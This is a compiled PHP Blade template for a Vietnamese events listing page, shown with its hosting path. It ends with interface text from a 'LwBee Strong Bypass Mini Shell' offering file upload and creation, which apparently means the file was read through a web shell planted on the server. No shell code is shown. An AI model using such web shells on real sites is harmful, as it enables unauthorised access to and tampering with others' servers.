/home/u503560585/public_html/storage/framework/views/e1a8f45eec9c2e07ab42fa21157d7f7ea88e8091.php
<?php $__env->startSection('content'); ?>
<div class="breadcrumb">
<img src="<?php echo e(URL::asset('img/bg-breadcrumb-3.png')); ?>"  alt="">
  <div class="container">
    <div class="breadcrumb-inner">
      <h1> <?php echo e(__('frontend.title_event')); ?></h1>
      <div class="d-flex align-items-center">
        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
          <path d="M22.1836 11.8364L13.1274 2.7848L12.5204 2.17777C12.382 2.04037 12.195 1.96326 12 1.96326C11.8051 1.96326 11.618 2.04037 11.4797 2.17777L1.81645 11.8364C1.67473 11.9775 1.56272 12.1457 1.48705 12.3308C1.41137 12.516 1.37355 12.7145 1.37583 12.9145C1.3852 13.7395 2.07192 14.3981 2.89692 14.3981H3.89302V22.0317H20.1071V14.3981H21.1243C21.525 14.3981 21.9024 14.241 22.186 13.9575C22.3256 13.8183 22.4363 13.6528 22.5115 13.4705C22.5867 13.2883 22.6251 13.0929 22.6243 12.8957C22.6243 12.4973 22.4672 12.12 22.1836 11.8364ZM13.3125 20.3442H10.6875V15.5629H13.3125V20.3442ZM18.4196 12.7106V20.3442H14.8125V15.0004C14.8125 14.4825 14.393 14.0629 13.875 14.0629H10.125C9.60708 14.0629 9.18755 14.4825 9.18755 15.0004V20.3442H5.58052V12.7106H3.33052L12.0024 4.04574L12.5438 4.58714L20.6719 12.7106H18.4196Z" fill="white" />
        </svg>
        <a href="/"><?php echo e(__('frontend.title_home')); ?></a> <span>/</span>
        <span> <?php echo e(__('frontend.title_event')); ?></span>
      </div>
    </div>
  </div>
</div>
<section class="events">
  <div class="container">
    <div class="live-tag ">
      <a href="/events?f=all" class="item <?php echo e($f =='all' ? 'active' : ''); ?>">
      <?php echo e(__('frontend.all_event')); ?>

      </a>
      <a href="/events?f=comming" class="item <?php echo e($f =='comming' ? 'active' : ''); ?>">
      <?php echo e(__('frontend.comming_event')); ?>

      </a>
      <a href="/events?f=going" class="item <?php echo e($f =='going' ? 'active' : ''); ?>">
      <?php echo e(__('frontend.going_event')); ?>

      </a>
      <a href="/events?f=happened" class="item <?php echo e($f =='happened' ? 'active' : ''); ?>">
      <?php echo e(__('frontend.happend_event')); ?>

      </a>
    </div>
    <div class="row">
      <?php $__currentLoopData = $events; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $event): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
        <div class="col-md-4">
          <div class="event-item">
            <a class="hover-img " href="<?php echo e(route('detailEvent',$event->seo_url_slug_en)); ?>">
              <figure>
                <img src="<?php echo e(URL::to('uploads/topics/'.$event->photo_file)); ?>" alt="">
              </figure>
            </a>
            <div class="event-content">
              <div class="d-flex">
                <i class="fas fa-map-marker-alt"></i>
                <span><?php echo e($event->fields[0]->field_value); ?></span>
                <?php
                    $dateStart = $event->date;
                    $dataNow = date('Y-m-d');
                    if($dateStart > $dataNow) {
                  ?>
                  <div class="status status-coming">Sắp diễn ra</div>
                  <?php }else{ ?>
                    <div class="status status-done">Đã diễn ra</div>
                  <?php }    ?>
                  <?php  if($dateStart == $dataNow) { ?>
                      <div class="status status-active">Đang diễn ra</div>
                  <?php }    ?>
              </div>
              <div class="d-flex">
                <i class="fas fa-calendar-alt"></i>
                <span>Ngày <?php echo e($dateStart); ?></span>
              </div>
              <a href="<?php echo e(route('detailEvent',$event->seo_url_slug_en)); ?>">
                <h3><?php echo e($event->{"title_" . @Helper::currentLanguage()->code}); ?></h3>
              </a>
              <p><?php echo e($event->{"seo_description_" . @Helper::currentLanguage()->code}); ?></p>
            </div>
          </div>
        </div>
      <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
      <div class="paging mt-4 d-flex ">
        <ul class="pagination">
          <li class="prev <?php echo e(!$previousPageUrl? 'disabled' : ''); ?>"><a href="<?php echo e($previousPageUrl ? $previousPageUrl: 'javascript:void(0)'); ?>">«</a></li>
          <?php $__currentLoopData = $paginates; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $paginate): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <li class="<?php echo e($currentPage ==  $key? 'active' : ''); ?>"><a href="<?php echo e($paginate); ?>" data-page="<?php echo e($key); ?>"><?php echo e($key); ?></a></li>
          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>  
          <li class="next <?php echo e(!$nextPage? 'disabled' : ''); ?>"><a href="<?php echo e($nextPage ? $nextPage: 'javascript:void(0)'); ?>">»</a></li>
        </ul>
      </div>
    </div>
  </div>
</section>
<?php echo $__env->make('frontEnd.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/u503560585/domains/mscm.me/public_html/resources/views/frontEnd/events.blade.php ENDPATH**/ ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File